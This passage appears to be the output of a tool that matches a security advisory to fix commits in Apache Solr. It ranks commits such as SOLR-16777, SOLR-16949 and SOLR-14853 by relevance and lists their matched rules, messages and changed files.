    - - - - COMMIT_IS_SECURITY_RELEVANT - - XREF_BUG - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6e9ed203b30958396bdfd41760d426b386646865 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      -
    • - -
    • -
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16777
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: ZooKeeper, Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerAPI.java, solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java, solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerSettingsDAO.java, solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16777 contains some security-related terms: unsafe, secure, security, insecure, malicious
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16777
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16777: Schema Designer now correctly manages trust of the ConfigSets it is managing Co-authored-by: Houston Putman <houston@apache.org>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java - - solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerAPI.java - - solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java - - solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerSettingsDAO.java - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16949: Fix inputstream leaks - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 90 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - COMMIT_IS_SECURITY_RELEVANT - - XREF_BUG - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6c8f24eb9e3fe1cb19058173f2e221de3febfeda -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      -
    • - -
    • -
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: stream
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16949
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16949: Fix inputstream leaks
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16949: Restrict certain file types from being uploaded to or... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 90 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - COMMIT_IS_SECURITY_RELEVANT - - XREF_BUG - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7e9a2e67f812032a049836c3aa0b18bf5cd717f9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      -
    • - -
    • -
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: ZooKeeper, Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/ivy.xml, solr/core/src/java/org/apache/solr/util/SolrCLI.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkMaintenanceUtils.java, solr/core/src/resources/magic/executables, solr/core/src/java/org/apache/solr/core/backup/BackupManager.java, solr/core/src/test-files/magic/HelloWorldJavaClass.class.bin, solr/core/src/test-files/magic/hello.tar.bin, solr/licenses/simplemagic-1.17.jar.sha1, solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java, solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version, handler
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16949
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16949: Restrict certain file types from being uploaded to or downloaded from Config Sets
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lucene/ivy-versions.properties - - solr/core/ivy.xml - - solr/core/src/java/org/apache/solr/core/backup/BackupManager.java - - solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java - - solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java - - solr/core/src/java/org/apache/solr/util/SolrCLI.java - - solr/core/src/resources/magic/executables - - solr/core/src/test-files/magic/HelloWorldJavaClass.class.bin - - solr/core/src/test-files/magic/hello.tar.bin - - solr/licenses/simplemagic-1.17.jar.sha1 - - solr/solrj/src/java/org/apache/solr/common/cloud/ZkMaintenanceUtils.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-14853: enableRemoteStreaming and enableStreamBody are now... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 64 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6e2272c4ccc3513d452a4f6bf6dc9c37a344e71c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/test-files/solr/collection1/conf/solrconfig-analytics-query.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-schemaless.xml, solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-hash.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-repeater.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig_perf.xml, solr/core/src/java/org/apache/solr/handler/DumpRequestHandler.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader3.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-doctransformers.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-nocache.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-follower1.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-managed-schema.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader-throttled.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-sql.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-minhash.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-plugcollector.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-elevate.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader2.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-delaying-component.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-tlog.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-collapseqparser.xml, solr/core/src/java/org/apache/solr/core/SolrConfig.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-replication-legacy.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-follower.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1-keepOneBackup.xml, solr/core/src/test-files/solr/crazy-path-to-config.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-components-name.xml
      -
    • - -
    • -
      The bug tracking ticket SOLR-14853 contains some security-related terms: security
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: streaming, stream, user
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler, request
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-14853
      -
    • - -
    • -
      The commit message references some github issue: 1615
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-14853: enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan Høydahl <janhoy@users.noreply.github.com> --------- Signed-off-by: Jan Høydahl <janhoy@users.noreply.github.com> Co-authored-by: Jan Høydahl <janhoy@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/core/SolrConfig.java - - solr/core/src/java/org/apache/solr/handler/DumpRequestHandler.java - - solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java - - solr/core/src/test-files/solr/collection1/conf/solrconfig-analytics-query.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-collapseqparser.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-components-name.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-delaying-component.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-doctransformers.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-elevate.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-follower.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-follower1.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-hash.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-leader-throttled.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-leader.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1-keepOneBackup.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-leader2.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-leader3.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-managed-schema.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-minhash.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-nocache.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-plugcollector.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-repeater.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-replication-legacy.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-schemaless.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-sql.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig-tlog.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig.xml - - solr/core/src/test-files/solr/collection1/conf/solrconfig_perf.xml - - solr/core/src/test-files/solr/crazy-path-to-config.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-17098: Fix some test issues - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 58 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - XREF_BUG - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f13b6738b5b8888023dc760801b9436ee30429c5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-17098
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: Solr, zkHost
      -
    • - -
    • -
      The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java, solr/solrj/src/test-files/solrj/solr/solr.xml
      -
    • - -
    • -
      The bug tracking ticket SOLR-17098 contains some security-related terms: security
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: issue
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-17098
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-17098: Fix some test issues
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java - - solr/solrj/src/test-files/solrj/solr/solr.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16949: Tolerate null bytes / empty file - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 46 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - XREF_BUG - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 143fa6f09ac1679c690cd1657c81f87ba7f449b9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16949
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16949: Tolerate null bytes / empty file
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Revert "SOLR-15694, SOLR-15715: Node roles and dedicated query... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 30 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 68fa493b8f959788216eb48f6bcef825fe8e24e6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: This
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler, read, request, actor, clouds
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-15694, SOLR-15715
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Revert "SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator nodes" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java - - solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java - - solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java - - solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java - - solr/core/src/java/org/apache/solr/core/CoreContainer.java - - solr/core/src/java/org/apache/solr/core/NodeRoles.java - - solr/core/src/java/org/apache/solr/handler/ClusterAPI.java - - solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java - - solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java - - solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java - - solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java - - solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java - - solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java - - solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java - - solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java - - solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java - - solr/core/src/java/org/apache/solr/request/SimpleFacets.java - - solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java - - solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java - - solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java - - solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java - - solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java - - solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java - - solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java - - solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java - - solr/core/src/java/org/apache/solr/update/UpdateLog.java - - solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java - - solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java - - solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml - - solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml - - solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml - - solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml - - solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java - - solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java - - solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java - - solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-17034: Hitting /solr// ends up with HttpSolrCall NPE when using... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 28 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f33d102f254909492b6f5d5a2142dfea791a5a4a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: Solr
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-17034
      -
    • - -
    • -
      The commit message references some github issue: 2020
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-17034: Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16781: <lib ../> directive disabled by default - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 26 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9118b3f3d8a2b62258e68bbf1c904fbc0ee58b61 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: This, Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/solr-ref-guide/src/configsets-api.adoc, solr/core/src/java/org/apache/solr/core/SolrConfig.java, solr/server/solr/configsets/_default/conf/solrconfig.xml, solr/solr-ref-guide/src/libs.adoc
      -
    • - -
    • -
      The bug tracking ticket SOLR-16781 contains some security-related terms: secure, security, rce
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16781
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16781: <lib ../> directive disabled by default
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/core/SolrConfig.java - - solr/server/solr/configsets/_default/conf/solrconfig.xml - - solr/solr-ref-guide/src/configsets-api.adoc - - solr/solr-ref-guide/src/libs.adoc - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Revert "SOLR-15694, 15715: Create ephemeral roles properly (missed... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 26 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 002b3ce67bea7dfe114c3b7dfdceb00b8777363c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: This
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: ZooKeeper, Solr, ACLs
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-15694
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Revert "SOLR-15694, 15715: Create ephemeral roles properly (missed backporting these changes last time)" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/cloud/ZkController.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16580: Avoid making copies of DocCollection for PRS updates - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 26 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a639d267fd395f8ed0f9b1d1e2fd4f852dc3eefd -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java, solr/solrj/src/java/org/apache/solr/common/cloud/Slice.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseHttpClusterStateProvider.java, solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java, solr/core/src/java/org/apache/solr/cloud/Overseer.java, solr/core/src/java/org/apache/solr/handler/admin/ClusterStatus.java, solr/core/src/java/org/apache/solr/cloud/overseer/ClusterStateMutator.java, solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SnapshotClusterStateProvider.java, solr/core/src/java/org/apache/solr/cloud/RefreshCollectionMessage.java, solr/core/src/java/org/apache/solr/cloud/overseer/ZkStateWriter.java, solr/core/src/java/org/apache/solr/cloud/overseer/CollectionMutator.java, solr/solrj/src/java/org/apache/solr/client/solrj/cloud/DistribStateManager.java, solr/solrj/src/java/org/apache/solr/common/cloud/ClusterState.java, solr/solrj/src/java/org/apache/solr/common/cloud/Replica.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStatesOps.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16580 contains some security-related terms: security
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler, read, provide
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16580
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16580: Avoid making copies of DocCollection for PRS updates
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/cloud/Overseer.java - - solr/core/src/java/org/apache/solr/cloud/RefreshCollectionMessage.java - - solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SnapshotClusterStateProvider.java - - solr/core/src/java/org/apache/solr/cloud/overseer/ClusterStateMutator.java - - solr/core/src/java/org/apache/solr/cloud/overseer/CollectionMutator.java - - solr/core/src/java/org/apache/solr/cloud/overseer/ZkStateWriter.java - - solr/core/src/java/org/apache/solr/handler/admin/ClusterStatus.java - - solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java - - solr/solrj/src/java/org/apache/solr/client/solrj/cloud/DistribStateManager.java - - solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseHttpClusterStateProvider.java - - solr/solrj/src/java/org/apache/solr/common/cloud/ClusterState.java - - solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java - - solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java - - solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStatesOps.java - - solr/solrj/src/java/org/apache/solr/common/cloud/Replica.java - - solr/solrj/src/java/org/apache/solr/common/cloud/Slice.java - - 